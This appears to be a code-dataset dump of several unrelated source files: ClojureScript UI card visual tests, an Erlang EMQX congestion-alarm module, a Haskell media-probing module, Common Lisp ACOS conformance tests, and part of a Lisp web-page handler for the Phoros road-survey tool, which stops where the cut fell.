_id stringlengths 64 64 | repository stringlengths 6 84 | name stringlengths 4 110 | content stringlengths 0 248k | license null | download_url stringlengths 89 454 | language stringclasses 7
values | comments stringlengths 0 74.6k | code stringlengths 0 248k |
|---|---|---|---|---|---|---|---|---|
2ab0af34445fa628f90771cda39eeb2e36c83dc0198f57fcd8b12748b57699f3 | untangled-web/untangled-ui | card_visuals.cljs | (ns untangled.ui.card-visuals
(:require
[om.dom :as dom]
[devcards.core :as dc :refer-macros [defcard]]
[untangled.ui.layout :as l]
[untangled.ui.elements :as e]))
(defcard card-visual-regressions
(l/row {}
(for [color [:neutral :primary :accent]
size [:normal :expand :wide]
actions ["" (e/ui-flat-button {:color :primary} "Action")]]
(l/col {:width 6 :key (str color size actions (rand-int 256))}
(e/ui-card {:title "Card Test" :color color :size size :actions actions}
(dom/div nil
(dom/p nil (str "Color: " (name color)))
(dom/p nil (str "Size: " (name size)))))))
(l/row {}
(for [image ["img/bubbles.png" "img/welcome_card.jpg"]
image-position [:top-left :top-right :bottom-left :bottom-right]]
(l/col {:width 6 :key (str image image-position (rand-int 256))}
(e/ui-card {:title "Card Test" :color :primary :image image :image-position image-position}
(dom/div nil
(dom/p nil (str "Image: " image))
(dom/p nil (str "Image position: " (name image-position))))))))
(l/row {}
(l/col {:width 6}
(e/ui-card {:title "Card Test" :media "img/welcome_card.jpg" :media-type :image}
(dom/div nil
(dom/p nil (str "Media Image"))))))
))
(defcard card-bordered-visual-regressions
(l/row {}
(for [color [:neutral :primary :accent]
size [:normal :expand :wide]
actions ["" (e/ui-flat-button {:color :primary} "Action")]]
(l/col {:width 6 :key (str color size actions (rand-int 256))}
(e/ui-card {:kind :bordered :title "Card Test" :color color :size size :actions actions}
(dom/div nil
(dom/p nil (str "Color: " (name color)))
(dom/p nil (str "Size: " (name size)))))))
(l/row {}
(for [image ["img/bubbles.png" "img/welcome_card.jpg"]
image-position [:top-left :top-right :bottom-left :bottom-right]]
(l/col {:width 6 :key (str image image-position (rand-int 256))}
(e/ui-card {:kind :bordered :title "Card Test" :color :primary :image image :image-position image-position}
(dom/div nil
(dom/p nil (str "Image: " image))
(dom/p nil (str "Image position: " (name image-position))))))))))
(defcard card-transparent-visual-regressions
(l/row {}
(for [color [:neutral :primary :accent]
actions ["" (e/ui-flat-button {:color :primary} "Action")]]
(l/col {:width 6 :key (str color actions (rand-int 256))}
(e/ui-card {:kind :transparent :title "Card Test" :color color :actions actions}
(dom/div nil
(dom/p nil (str "Color: " (name color)))))))
(l/row {}
(for [image ["img/bubbles.png" "img/welcome_card.jpg"]
image-position [:top-left :top-right :bottom-left :bottom-right]]
(l/col {:width 6 :key (str image image-position (rand-int 256))}
(e/ui-card {:kind :transparent :title "Card Test" :color :primary :image image :image-position image-position}
(dom/div nil
(dom/p nil (str "Image: " image))
(dom/p nil (str "Image position: " (name image-position))))))))))
(defcard card-square-visual-regressions
(l/row {}
(for [size [:normal :expand :wide]]
(l/col {:width 6 :key (str size (rand-int 256))}
(e/ui-card {:kind :square :title "Card Test" :size size}
(dom/div nil
(dom/p nil (str "Size: " (name size)))))))))
| null | https://raw.githubusercontent.com/untangled-web/untangled-ui/ae101f90cd9b7bf5d0c80e9453595fdfe784923c/src/visuals/untangled/ui/card_visuals.cljs | clojure | (ns untangled.ui.card-visuals
(:require
[om.dom :as dom]
[devcards.core :as dc :refer-macros [defcard]]
[untangled.ui.layout :as l]
[untangled.ui.elements :as e]))
(defcard card-visual-regressions
(l/row {}
(for [color [:neutral :primary :accent]
size [:normal :expand :wide]
actions ["" (e/ui-flat-button {:color :primary} "Action")]]
(l/col {:width 6 :key (str color size actions (rand-int 256))}
(e/ui-card {:title "Card Test" :color color :size size :actions actions}
(dom/div nil
(dom/p nil (str "Color: " (name color)))
(dom/p nil (str "Size: " (name size)))))))
(l/row {}
(for [image ["img/bubbles.png" "img/welcome_card.jpg"]
image-position [:top-left :top-right :bottom-left :bottom-right]]
(l/col {:width 6 :key (str image image-position (rand-int 256))}
(e/ui-card {:title "Card Test" :color :primary :image image :image-position image-position}
(dom/div nil
(dom/p nil (str "Image: " image))
(dom/p nil (str "Image position: " (name image-position))))))))
(l/row {}
(l/col {:width 6}
(e/ui-card {:title "Card Test" :media "img/welcome_card.jpg" :media-type :image}
(dom/div nil
(dom/p nil (str "Media Image"))))))
))
(defcard card-bordered-visual-regressions
(l/row {}
(for [color [:neutral :primary :accent]
size [:normal :expand :wide]
actions ["" (e/ui-flat-button {:color :primary} "Action")]]
(l/col {:width 6 :key (str color size actions (rand-int 256))}
(e/ui-card {:kind :bordered :title "Card Test" :color color :size size :actions actions}
(dom/div nil
(dom/p nil (str "Color: " (name color)))
(dom/p nil (str "Size: " (name size)))))))
(l/row {}
(for [image ["img/bubbles.png" "img/welcome_card.jpg"]
image-position [:top-left :top-right :bottom-left :bottom-right]]
(l/col {:width 6 :key (str image image-position (rand-int 256))}
(e/ui-card {:kind :bordered :title "Card Test" :color :primary :image image :image-position image-position}
(dom/div nil
(dom/p nil (str "Image: " image))
(dom/p nil (str "Image position: " (name image-position))))))))))
(defcard card-transparent-visual-regressions
(l/row {}
(for [color [:neutral :primary :accent]
actions ["" (e/ui-flat-button {:color :primary} "Action")]]
(l/col {:width 6 :key (str color actions (rand-int 256))}
(e/ui-card {:kind :transparent :title "Card Test" :color color :actions actions}
(dom/div nil
(dom/p nil (str "Color: " (name color)))))))
(l/row {}
(for [image ["img/bubbles.png" "img/welcome_card.jpg"]
image-position [:top-left :top-right :bottom-left :bottom-right]]
(l/col {:width 6 :key (str image image-position (rand-int 256))}
(e/ui-card {:kind :transparent :title "Card Test" :color :primary :image image :image-position image-position}
(dom/div nil
(dom/p nil (str "Image: " image))
(dom/p nil (str "Image position: " (name image-position))))))))))
(defcard card-square-visual-regressions
(l/row {}
(for [size [:normal :expand :wide]]
(l/col {:width 6 :key (str size (rand-int 256))}
(e/ui-card {:kind :square :title "Card Test" :size size}
(dom/div nil
(dom/p nil (str "Size: " (name size)))))))))
| |
c349d1f23f1b82b4dfc915286f9500a94f9dacdd7e1d932d12239a02053b9bf7 | dgiot/dgiot | emqx_congestion.erl | %%--------------------------------------------------------------------
Copyright ( c ) 2020 - 2022 EMQ Technologies Co. , Ltd. All Rights Reserved .
%%
Licensed under the Apache License , Version 2.0 ( the " License " ) ;
%% you may not use this file except in compliance with the License.
%% You may obtain a copy of the License at
%%
%% -2.0
%%
%% Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an " AS IS " BASIS ,
%% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
%% See the License for the specific language governing permissions and
%% limitations under the License.
%%--------------------------------------------------------------------
-module(emqx_congestion).
-export([ maybe_alarm_conn_congestion/3
, cancel_alarms/3
]).
-define(ALARM_CONN_CONGEST(Channel, Reason),
list_to_binary(
io_lib:format("~s/~s/~s",
[Reason, emqx_channel:info(clientid, Channel),
maps:get(username, emqx_channel:info(clientinfo, Channel),
<<"unknown_user">>)]))).
-define(ALARM_CONN_INFO_KEYS, [socktype, sockname, peername, clientid, username,
proto_name, proto_ver, connected_at, conn_state]).
-define(ALARM_SOCK_STATS_KEYS, [send_pend, recv_cnt, recv_oct, send_cnt, send_oct]).
-define(ALARM_SOCK_OPTS_KEYS, [high_watermark, high_msgq_watermark, sndbuf, recbuf, buffer]).
-define(PROC_INFO_KEYS, [message_queue_len, memory, reductions]).
-define(ALARM_SENT(REASON), {alarm_sent, REASON}).
-define(ALL_ALARM_REASONS, [conn_congestion]).
-define(WONT_CLEAR_IN, 60000).
maybe_alarm_conn_congestion(Socket, Transport, Channel) ->
case is_alarm_enabled(Channel) of
false -> ok;
true ->
case is_tcp_congested(Socket, Transport) of
true -> alarm_congestion(Socket, Transport, Channel, conn_congestion);
false -> cancel_alarm_congestion(Socket, Transport, Channel, conn_congestion)
end
end.
cancel_alarms(Socket, Transport, Channel) ->
lists:foreach(fun(Reason) ->
case has_alarm_sent(Reason) of
true -> do_cancel_alarm_congestion(Socket, Transport, Channel, Reason);
false -> ok
end
end, ?ALL_ALARM_REASONS).
is_alarm_enabled(Channel) ->
emqx_zone:get_env(emqx_channel:info(zone, Channel),
conn_congestion_alarm_enabled, false).
alarm_congestion(Socket, Transport, Channel, Reason) ->
case has_alarm_sent(Reason) of
false -> do_alarm_congestion(Socket, Transport, Channel, Reason);
true ->
%% pretend we have sent an alarm again
update_alarm_sent_at(Reason)
end.
cancel_alarm_congestion(Socket, Transport, Channel, Reason) ->
Zone = emqx_channel:info(zone, Channel),
WontClearIn = emqx_zone:get_env(Zone, conn_congestion_min_alarm_sustain_duration,
?WONT_CLEAR_IN),
case has_alarm_sent(Reason) andalso long_time_since_last_alarm(Reason, WontClearIn) of
true -> do_cancel_alarm_congestion(Socket, Transport, Channel, Reason);
false -> ok
end.
do_alarm_congestion(Socket, Transport, Channel, Reason) ->
ok = update_alarm_sent_at(Reason),
AlarmDetails = tcp_congestion_alarm_details(Socket, Transport, Channel),
emqx_alarm:activate(?ALARM_CONN_CONGEST(Channel, Reason), AlarmDetails),
ok.
do_cancel_alarm_congestion(Socket, Transport, Channel, Reason) ->
ok = remove_alarm_sent_at(Reason),
AlarmDetails = tcp_congestion_alarm_details(Socket, Transport, Channel),
emqx_alarm:deactivate(?ALARM_CONN_CONGEST(Channel, Reason), AlarmDetails),
ok.
is_tcp_congested(Socket, Transport) ->
case Transport:getstat(Socket, [send_pend]) of
{ok, [{send_pend, N}]} when N > 0 -> true;
_ -> false
end.
has_alarm_sent(Reason) ->
case get_alarm_sent_at(Reason) of
0 -> false;
_ -> true
end.
update_alarm_sent_at(Reason) ->
erlang:put(?ALARM_SENT(Reason), timenow()),
ok.
remove_alarm_sent_at(Reason) ->
erlang:erase(?ALARM_SENT(Reason)),
ok.
get_alarm_sent_at(Reason) ->
case erlang:get(?ALARM_SENT(Reason)) of
undefined -> 0;
LastSentAt -> LastSentAt
end.
long_time_since_last_alarm(Reason, WontClearIn) ->
%% only sent clears when the alarm was not triggered in the last
WontClearIn time
case timenow() - get_alarm_sent_at(Reason) of
Elapse when Elapse >= WontClearIn -> true;
_ -> false
end.
timenow() ->
erlang:system_time(millisecond).
%%==============================================================================
%% Alarm message
%%==============================================================================
tcp_congestion_alarm_details(Socket, Transport, Channel) ->
ProcInfo = process_info(self(), ?PROC_INFO_KEYS),
BasicInfo = [{pid, list_to_binary(pid_to_list(self()))} | ProcInfo],
Stat = case Transport:getstat(Socket, ?ALARM_SOCK_STATS_KEYS) of
{ok, Stat0} -> Stat0;
{error, _} -> []
end,
Opts = case Transport:getopts(Socket, ?ALARM_SOCK_OPTS_KEYS) of
{ok, Opts0} -> Opts0;
{error, _} -> []
end,
SockInfo = Stat ++ Opts,
ConnInfo = [conn_info(Key, Channel) || Key <- ?ALARM_CONN_INFO_KEYS],
maps:from_list(BasicInfo ++ ConnInfo ++ SockInfo).
conn_info(Key, Channel) when Key =:= sockname; Key =:= peername ->
{IPStr, Port} = emqx_channel:info(Key, Channel),
{Key, iolist_to_binary([inet:ntoa(IPStr), ":", integer_to_list(Port)])};
conn_info(Key, Channel) ->
{Key, emqx_channel:info(Key, Channel)}.
| null | https://raw.githubusercontent.com/dgiot/dgiot/c601555e45f38d02aafc308b18a9e28c543b6f2c/src/emqx_congestion.erl | erlang | --------------------------------------------------------------------
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
-2.0
Unless required by applicable law or agreed to in writing, software
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
--------------------------------------------------------------------
pretend we have sent an alarm again
only sent clears when the alarm was not triggered in the last
==============================================================================
Alarm message
============================================================================== | Copyright ( c ) 2020 - 2022 EMQ Technologies Co. , Ltd. All Rights Reserved .
Licensed under the Apache License , Version 2.0 ( the " License " ) ;
distributed under the License is distributed on an " AS IS " BASIS ,
-module(emqx_congestion).
-export([ maybe_alarm_conn_congestion/3
, cancel_alarms/3
]).
-define(ALARM_CONN_CONGEST(Channel, Reason),
list_to_binary(
io_lib:format("~s/~s/~s",
[Reason, emqx_channel:info(clientid, Channel),
maps:get(username, emqx_channel:info(clientinfo, Channel),
<<"unknown_user">>)]))).
-define(ALARM_CONN_INFO_KEYS, [socktype, sockname, peername, clientid, username,
proto_name, proto_ver, connected_at, conn_state]).
-define(ALARM_SOCK_STATS_KEYS, [send_pend, recv_cnt, recv_oct, send_cnt, send_oct]).
-define(ALARM_SOCK_OPTS_KEYS, [high_watermark, high_msgq_watermark, sndbuf, recbuf, buffer]).
-define(PROC_INFO_KEYS, [message_queue_len, memory, reductions]).
-define(ALARM_SENT(REASON), {alarm_sent, REASON}).
-define(ALL_ALARM_REASONS, [conn_congestion]).
-define(WONT_CLEAR_IN, 60000).
maybe_alarm_conn_congestion(Socket, Transport, Channel) ->
case is_alarm_enabled(Channel) of
false -> ok;
true ->
case is_tcp_congested(Socket, Transport) of
true -> alarm_congestion(Socket, Transport, Channel, conn_congestion);
false -> cancel_alarm_congestion(Socket, Transport, Channel, conn_congestion)
end
end.
cancel_alarms(Socket, Transport, Channel) ->
lists:foreach(fun(Reason) ->
case has_alarm_sent(Reason) of
true -> do_cancel_alarm_congestion(Socket, Transport, Channel, Reason);
false -> ok
end
end, ?ALL_ALARM_REASONS).
is_alarm_enabled(Channel) ->
emqx_zone:get_env(emqx_channel:info(zone, Channel),
conn_congestion_alarm_enabled, false).
alarm_congestion(Socket, Transport, Channel, Reason) ->
case has_alarm_sent(Reason) of
false -> do_alarm_congestion(Socket, Transport, Channel, Reason);
true ->
update_alarm_sent_at(Reason)
end.
cancel_alarm_congestion(Socket, Transport, Channel, Reason) ->
Zone = emqx_channel:info(zone, Channel),
WontClearIn = emqx_zone:get_env(Zone, conn_congestion_min_alarm_sustain_duration,
?WONT_CLEAR_IN),
case has_alarm_sent(Reason) andalso long_time_since_last_alarm(Reason, WontClearIn) of
true -> do_cancel_alarm_congestion(Socket, Transport, Channel, Reason);
false -> ok
end.
do_alarm_congestion(Socket, Transport, Channel, Reason) ->
ok = update_alarm_sent_at(Reason),
AlarmDetails = tcp_congestion_alarm_details(Socket, Transport, Channel),
emqx_alarm:activate(?ALARM_CONN_CONGEST(Channel, Reason), AlarmDetails),
ok.
do_cancel_alarm_congestion(Socket, Transport, Channel, Reason) ->
ok = remove_alarm_sent_at(Reason),
AlarmDetails = tcp_congestion_alarm_details(Socket, Transport, Channel),
emqx_alarm:deactivate(?ALARM_CONN_CONGEST(Channel, Reason), AlarmDetails),
ok.
is_tcp_congested(Socket, Transport) ->
case Transport:getstat(Socket, [send_pend]) of
{ok, [{send_pend, N}]} when N > 0 -> true;
_ -> false
end.
has_alarm_sent(Reason) ->
case get_alarm_sent_at(Reason) of
0 -> false;
_ -> true
end.
update_alarm_sent_at(Reason) ->
erlang:put(?ALARM_SENT(Reason), timenow()),
ok.
remove_alarm_sent_at(Reason) ->
erlang:erase(?ALARM_SENT(Reason)),
ok.
get_alarm_sent_at(Reason) ->
case erlang:get(?ALARM_SENT(Reason)) of
undefined -> 0;
LastSentAt -> LastSentAt
end.
long_time_since_last_alarm(Reason, WontClearIn) ->
WontClearIn time
case timenow() - get_alarm_sent_at(Reason) of
Elapse when Elapse >= WontClearIn -> true;
_ -> false
end.
timenow() ->
erlang:system_time(millisecond).
tcp_congestion_alarm_details(Socket, Transport, Channel) ->
ProcInfo = process_info(self(), ?PROC_INFO_KEYS),
BasicInfo = [{pid, list_to_binary(pid_to_list(self()))} | ProcInfo],
Stat = case Transport:getstat(Socket, ?ALARM_SOCK_STATS_KEYS) of
{ok, Stat0} -> Stat0;
{error, _} -> []
end,
Opts = case Transport:getopts(Socket, ?ALARM_SOCK_OPTS_KEYS) of
{ok, Opts0} -> Opts0;
{error, _} -> []
end,
SockInfo = Stat ++ Opts,
ConnInfo = [conn_info(Key, Channel) || Key <- ?ALARM_CONN_INFO_KEYS],
maps:from_list(BasicInfo ++ ConnInfo ++ SockInfo).
conn_info(Key, Channel) when Key =:= sockname; Key =:= peername ->
{IPStr, Port} = emqx_channel:info(Key, Channel),
{Key, iolist_to_binary([inet:ntoa(IPStr), ":", integer_to_list(Port)])};
conn_info(Key, Channel) ->
{Key, emqx_channel:info(Key, Channel)}.
|
ead73cedfef008158eb3594527dd433b7408b97ce0b643eeb75815c3f2c88eae | databrary/databrary | Probe.hs | {-# LANGUAGE OverloadedStrings #-}
module Store.Probe
( Probe(..)
, probeLength
, probeFile
, probeAutoPosition
, avProbeCheckFormat
) where
import Control.Arrow (left)
import Control.Exception (try)
import Control.Monad.IO.Class (MonadIO(..))
import Control.Monad.Trans.Except (ExceptT(..), runExceptT, throwE)
import qualified Data.ByteString as BS
import Data.List (isPrefixOf)
import Data.Monoid ((<>))
import qualified Data.Text as T
import qualified Data.Text.Encoding as TE
import Data.Time.Calendar (diffDays)
import Data.Time.LocalTime (ZonedTime(..), LocalTime(..), timeOfDayToTime)
import System.Posix.FilePath (takeExtension)
import Has
import Files
import Service.DB
import Model.Format
import Model.Offset
import Model.Container.Types
import Model.AssetSlot
import Store.AV
-- import Action.Types
data Probe
= ProbePlain
{ probeFormat :: Format }
| ProbeAV
{ probeFormat :: Format
, probeTranscode :: Format
, probeAV :: AVProbe
}
-- | Get detected length if this is an audio or video file
probeLength :: Probe -> Maybe Offset
probeLength ProbeAV{ probeAV = av } = avProbeLength av
probeLength _ = Nothing
| Detect whether the mimetype expected in the file given is accepted by ,
-- and probe/wrap the file into a Probe describing it conversion target and current format.
probeFile :: (MonadIO m, MonadHas AV c m) => BS.ByteString -> RawFilePath -> m (Either T.Text Probe)
probeFile n f = runExceptT $ maybe
(throwE $ "unknown or unsupported format: " <> TE.decodeLatin1 (takeExtension n))
(\fmt -> case formatTranscodable fmt of
Nothing -> return $ ProbePlain fmt
Just t
| t == videoFormat || t == audioFormat -> do
av <- ExceptT $ left (("could not process unsupported or corrupt media file: " <>) . T.pack . avErrorString)
<$> focusIO (try . avProbe f)
if avProbeHas AVMediaTypeVideo av
then return $ ProbeAV fmt videoFormat av
else if avProbeHas AVMediaTypeAudio av
then return $ ProbeAV fmt audioFormat av
else throwE "no supported video or audio content found"
| otherwise -> fail "unhandled format conversion")
$ getFormatByFilename n
-- TODO: make this pure
probeAutoPosition :: MonadDB c m => Container -> Maybe Probe -> m Offset
probeAutoPosition
Container{ containerRow = ContainerRow { containerDate = Just d } }
(Just ProbeAV{ probeAV = AVProbe{ avProbeDate = Just (ZonedTime (LocalTime d' t) _) } })
| dd >= -1 && dd <= 1 && dt >= negate day2 && dt <= 3*day2 =
return $ diffTimeOffset dt
where
dd = diffDays d' d
dt = fromInteger dd*day + timeOfDayToTime t
day2 = 43200
day = 2*day2
probeAutoPosition c _ = findAssetContainerEnd c
-- |Test if this represents a file in standard format.
avProbeCheckFormat :: Format -> AVProbe -> Bool
avProbeCheckFormat fmt AVProbe{ avProbeFormat = "mov,mp4,m4a,3gp,3g2,mj2", avProbeStreams = ((AVMediaTypeVideo,"h264"):s) }
-- Note: isPrefixOf use here is terse/counterinteruitive. should explicitly test for empty list
| fmt == videoFormat = s `isPrefixOf` [(AVMediaTypeAudio,"aac")]
avProbeCheckFormat fmt AVProbe{ avProbeFormat = "mp3", avProbeStreams = ((AVMediaTypeAudio,"mp3"):_) }
| fmt == audioFormat = True
avProbeCheckFormat _ _ = False
| null | https://raw.githubusercontent.com/databrary/databrary/685f3c625b960268f5d9b04e3d7c6146bea5afda/src/Store/Probe.hs | haskell | # LANGUAGE OverloadedStrings #
import Action.Types
| Get detected length if this is an audio or video file
and probe/wrap the file into a Probe describing it conversion target and current format.
TODO: make this pure
|Test if this represents a file in standard format.
Note: isPrefixOf use here is terse/counterinteruitive. should explicitly test for empty list | module Store.Probe
( Probe(..)
, probeLength
, probeFile
, probeAutoPosition
, avProbeCheckFormat
) where
import Control.Arrow (left)
import Control.Exception (try)
import Control.Monad.IO.Class (MonadIO(..))
import Control.Monad.Trans.Except (ExceptT(..), runExceptT, throwE)
import qualified Data.ByteString as BS
import Data.List (isPrefixOf)
import Data.Monoid ((<>))
import qualified Data.Text as T
import qualified Data.Text.Encoding as TE
import Data.Time.Calendar (diffDays)
import Data.Time.LocalTime (ZonedTime(..), LocalTime(..), timeOfDayToTime)
import System.Posix.FilePath (takeExtension)
import Has
import Files
import Service.DB
import Model.Format
import Model.Offset
import Model.Container.Types
import Model.AssetSlot
import Store.AV
data Probe
= ProbePlain
{ probeFormat :: Format }
| ProbeAV
{ probeFormat :: Format
, probeTranscode :: Format
, probeAV :: AVProbe
}
probeLength :: Probe -> Maybe Offset
probeLength ProbeAV{ probeAV = av } = avProbeLength av
probeLength _ = Nothing
| Detect whether the mimetype expected in the file given is accepted by ,
probeFile :: (MonadIO m, MonadHas AV c m) => BS.ByteString -> RawFilePath -> m (Either T.Text Probe)
probeFile n f = runExceptT $ maybe
(throwE $ "unknown or unsupported format: " <> TE.decodeLatin1 (takeExtension n))
(\fmt -> case formatTranscodable fmt of
Nothing -> return $ ProbePlain fmt
Just t
| t == videoFormat || t == audioFormat -> do
av <- ExceptT $ left (("could not process unsupported or corrupt media file: " <>) . T.pack . avErrorString)
<$> focusIO (try . avProbe f)
if avProbeHas AVMediaTypeVideo av
then return $ ProbeAV fmt videoFormat av
else if avProbeHas AVMediaTypeAudio av
then return $ ProbeAV fmt audioFormat av
else throwE "no supported video or audio content found"
| otherwise -> fail "unhandled format conversion")
$ getFormatByFilename n
probeAutoPosition :: MonadDB c m => Container -> Maybe Probe -> m Offset
probeAutoPosition
Container{ containerRow = ContainerRow { containerDate = Just d } }
(Just ProbeAV{ probeAV = AVProbe{ avProbeDate = Just (ZonedTime (LocalTime d' t) _) } })
| dd >= -1 && dd <= 1 && dt >= negate day2 && dt <= 3*day2 =
return $ diffTimeOffset dt
where
dd = diffDays d' d
dt = fromInteger dd*day + timeOfDayToTime t
day2 = 43200
day = 2*day2
probeAutoPosition c _ = findAssetContainerEnd c
avProbeCheckFormat :: Format -> AVProbe -> Bool
avProbeCheckFormat fmt AVProbe{ avProbeFormat = "mov,mp4,m4a,3gp,3g2,mj2", avProbeStreams = ((AVMediaTypeVideo,"h264"):s) }
| fmt == videoFormat = s `isPrefixOf` [(AVMediaTypeAudio,"aac")]
avProbeCheckFormat fmt AVProbe{ avProbeFormat = "mp3", avProbeStreams = ((AVMediaTypeAudio,"mp3"):_) }
| fmt == audioFormat = True
avProbeCheckFormat _ _ = False
|
fa68218f725206a2962ac288e00fc04ef9b3b10a0176f3f2fdca9a76e1c81a2f | xvw/ocamlectron | Rectangle.mli | (** Describe a Rectangle *)
open Js_of_ocaml
class type rectangle = object
inherit Size.size
inherit Position.position
end
type t = rectangle Js.t
| null | https://raw.githubusercontent.com/xvw/ocamlectron/3e0cb9575975e69ab34cb7e0e3549d31c07141c2/lib/electron_plumbing/Rectangle.mli | ocaml | * Describe a Rectangle |
open Js_of_ocaml
class type rectangle = object
inherit Size.size
inherit Position.position
end
type t = rectangle Js.t
|
3915aead6c6b1b5fc46d974b83b07bc0b3d0cc7bcd4264126bb75836e4ef048e | Clozure/ccl-tests | acos.lsp | ;-*- Mode: Lisp -*-
Author :
Created : Tue Feb 10 05:39:24 2004
;;;; Contains: Tests of ACOS
(in-package :cl-test)
(deftest acos.1
(loop for i from -1000 to 1000
for rlist = (multiple-value-list (acos i))
for y = (car rlist)
always (and (null (cdr rlist))
(numberp y)))
t)
(deftest acos.2
(loop for type in '(short-float single-float double-float long-float)
collect
(let ((a (coerce 2000 type))
(b (coerce -1000 type)))
(loop for x = (- (random a) b)
for rlist = (multiple-value-list (acos x))
for y = (car rlist)
repeat 1000
always (and (null (cdr rlist))
(numberp y)))))
(t t t t))
(deftest acos.3
(loop for type in '(integer short-float single-float double-float long-float)
collect
(let ((a (coerce 2000 type))
(b (coerce -1000 type)))
(loop for x = (- (random a) b)
for rlist = (multiple-value-list (acos (complex 0 x)))
for y = (car rlist)
repeat 1000
always (and (null (cdr rlist))
(numberp y)))))
(t t t t t))
(deftest acos.4
(loop for type in '(integer short-float single-float double-float long-float)
collect
(let ((a (coerce 2000 type))
(b (coerce -1000 type)))
(loop for x1 = (- (random a) b)
for x2 = (- (random a) b)
for rlist = (multiple-value-list (acos (complex x1 x2)))
for y = (car rlist)
repeat 1000
always (and (null (cdr rlist))
(numberp y)))))
(t t t t t))
(deftest acos.5
(approx= (acos 0) (coerce (/ pi 2) 'single-float))
t)
(deftest acos.6
(loop for type in '(single-float short-float double-float long-float)
unless (approx= (acos (coerce 0 type))
(coerce (/ pi 2) type))
collect type)
nil)
(deftest acos.7
(loop for type in '(single-float short-float double-float long-float)
unless (approx= (acos (coerce 1 type))
(coerce 0 type))
collect type)
nil)
#+(or (not darwin-target) known-bug-273)
(deftest acos.8
(loop for type in '(single-float short-float double-float long-float)
unless (approx= (acos (coerce -1 type))
(coerce pi type))
collect type)
nil)
(deftest acos.9
(macrolet ((%m (z) z)) (not (not (> (acos (expand-in-current-env (%m 0))) 0))))
t)
FIXME
;;; Add accuracy tests
;;; Error tests
(deftest acos.error.1
(signals-error (acos) program-error)
t)
(deftest acos.error.2
(signals-error (acos 0.0 0.0) program-error)
t)
(deftest acos.error.3
(check-type-error #'acos #'numberp)
nil)
| null | https://raw.githubusercontent.com/Clozure/ccl-tests/0478abddb34dbc16487a1975560d8d073a988060/ansi-tests/acos.lsp | lisp | -*- Mode: Lisp -*-
Contains: Tests of ACOS
Add accuracy tests
Error tests | Author :
Created : Tue Feb 10 05:39:24 2004
(in-package :cl-test)
(deftest acos.1
(loop for i from -1000 to 1000
for rlist = (multiple-value-list (acos i))
for y = (car rlist)
always (and (null (cdr rlist))
(numberp y)))
t)
(deftest acos.2
(loop for type in '(short-float single-float double-float long-float)
collect
(let ((a (coerce 2000 type))
(b (coerce -1000 type)))
(loop for x = (- (random a) b)
for rlist = (multiple-value-list (acos x))
for y = (car rlist)
repeat 1000
always (and (null (cdr rlist))
(numberp y)))))
(t t t t))
(deftest acos.3
(loop for type in '(integer short-float single-float double-float long-float)
collect
(let ((a (coerce 2000 type))
(b (coerce -1000 type)))
(loop for x = (- (random a) b)
for rlist = (multiple-value-list (acos (complex 0 x)))
for y = (car rlist)
repeat 1000
always (and (null (cdr rlist))
(numberp y)))))
(t t t t t))
(deftest acos.4
(loop for type in '(integer short-float single-float double-float long-float)
collect
(let ((a (coerce 2000 type))
(b (coerce -1000 type)))
(loop for x1 = (- (random a) b)
for x2 = (- (random a) b)
for rlist = (multiple-value-list (acos (complex x1 x2)))
for y = (car rlist)
repeat 1000
always (and (null (cdr rlist))
(numberp y)))))
(t t t t t))
(deftest acos.5
(approx= (acos 0) (coerce (/ pi 2) 'single-float))
t)
(deftest acos.6
(loop for type in '(single-float short-float double-float long-float)
unless (approx= (acos (coerce 0 type))
(coerce (/ pi 2) type))
collect type)
nil)
(deftest acos.7
(loop for type in '(single-float short-float double-float long-float)
unless (approx= (acos (coerce 1 type))
(coerce 0 type))
collect type)
nil)
#+(or (not darwin-target) known-bug-273)
(deftest acos.8
(loop for type in '(single-float short-float double-float long-float)
unless (approx= (acos (coerce -1 type))
(coerce pi type))
collect type)
nil)
(deftest acos.9
(macrolet ((%m (z) z)) (not (not (> (acos (expand-in-current-env (%m 0))) 0))))
t)
FIXME
(deftest acos.error.1
(signals-error (acos) program-error)
t)
(deftest acos.error.2
(signals-error (acos 0.0 0.0) program-error)
t)
(deftest acos.error.3
(check-type-error #'acos #'numberp)
nil)
|
f3d91553e14cc0eac130bd32ac6eae9ffde214e1e5c2c265dd752f27e8b5dc30 | trebb/phoros | blurb.lisp | PHOROS -- Photogrammetric Road Survey
Copyright ( C ) 2011 , 2012
;;;
;;; This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation ; either version 2 of the License , or
;;; (at your option) any later version.
;;;
;;; This program is distributed in the hope that it will be useful,
;;; but WITHOUT ANY WARRANTY; without even the implied warranty of
;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;;; GNU General Public License for more details.
;;;
You should have received a copy of the GNU General Public License along
with this program ; if not , write to the Free Software Foundation , Inc. ,
51 Franklin Street , Fifth Floor , Boston , USA .
(in-package :phoros)
(hunchentoot:define-easy-handler
(blurb :uri "/phoros/lib/blurb")
(openlayers-version)
(assert-authentication)
(who:with-html-output-to-string (s nil :indent t)
(:html
:xmlns ""
(:head
(:title "Phoros")
(:link :rel "stylesheet"
:href (format nil "/~A/lib/css-~A/style.css"
*proxy-root*
(phoros-version))
:type "text/css"))
(:body
(:h1 :id "title" "Phoros: A Tool for Photogrammetric Road Survey")
(:button :type "button"
:style "float:right"
:onclick (ps-inline (chain self (close)))
"close")
(:p "This is "
(:a :href ""
(:img :src (format nil
"/~A/lib/public_html/phoros-logo-plain.png"
*proxy-root*)
:height 30 :style "vertical-align:middle"
:alt "Phoros"))
(who:fmt "Phoros version ~A," (phoros-version))
" a means for photogrammetric road survey written by"
(:a :href "mailto:Bert Burgemeister <>"
"Bert Burgemeister."))
(:p "Its photogrammetric workhorse is "
(:a :href "mailto:" "Steffen Scheller's")
(who:fmt " library PhoML (version ~A)." (phoml:get-version-number)))
(:a :style "float:left" :href ""
(:img :src ""
:alt "Common Lisp"))
(:p (who:fmt
"Phoros is implemented using Steel Bank Common Lisp (version ~A)"
(lisp-implementation-version))
", an implementation of Common Lisp."
(:a :href ""
(:img :src ""
:height 30 :style "vertical-align:middle"
:alt "SBCL")))
(:p "You are communicating with "
(:a :href ""
(:img :src ""
:height 30 :style "vertical-align:middle"
:alt "Hunchentoot"))
", a Common Lisp web server.")
(:p "Most of the client code running in your browser is or uses"
(:a :href ""
